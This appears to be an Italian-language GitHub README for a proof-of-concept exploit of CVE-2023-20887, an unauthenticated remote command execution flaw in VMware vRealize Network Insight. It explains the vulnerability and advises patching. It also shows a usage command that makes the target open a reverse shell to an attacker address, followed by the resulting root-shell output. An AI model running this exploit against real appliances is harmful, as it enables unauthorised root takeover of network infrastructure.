malwareman007/cve-2023-20887VMWare vRealize Network Insight RCE pre-autenticata (CVE-2023-20887)
POC per CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) RCE non autenticata
Un'analisi della causa principale della vulnerabilità è disponibile sul mio blog: https://kushagraojha.medium.com/vmware-vrealize-network-insight-cve-2023-20887-193f3c3d30a0
VMWare Aria Operations for Networks (vRealize Network Insight) è vulnerabile all'iniezione di comandi quando accetta input utente tramite l'interfaccia RPC Apache Thrift. Questa vulnerabilità consente a un attaccante remoto non autenticato di eseguire comandi arbitrari sul sistema operativo sottostante come utente root. L'interfaccia RPC è protetta da un proxy inverso che può essere eluso. VMware ha valutato la gravità di questo problema come Critica con un punteggio base CVSSv3 massimo di 9.8. un attore malintenzionato può ottenere l'esecuzione remota di codice nel contesto di 'root' sull'appliance. Le versioni VMWare 6.x sono vulnerabili.
python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release
Aggiornare all'ultima versione o mitigare seguendo le istruzioni contenute nel Progress Advisory
Questo software è stato creato puramente a scopo di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è inteso per essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I manutentori del progetto non sono responsabili per l'uso improprio del software. Usare in modo responsabile.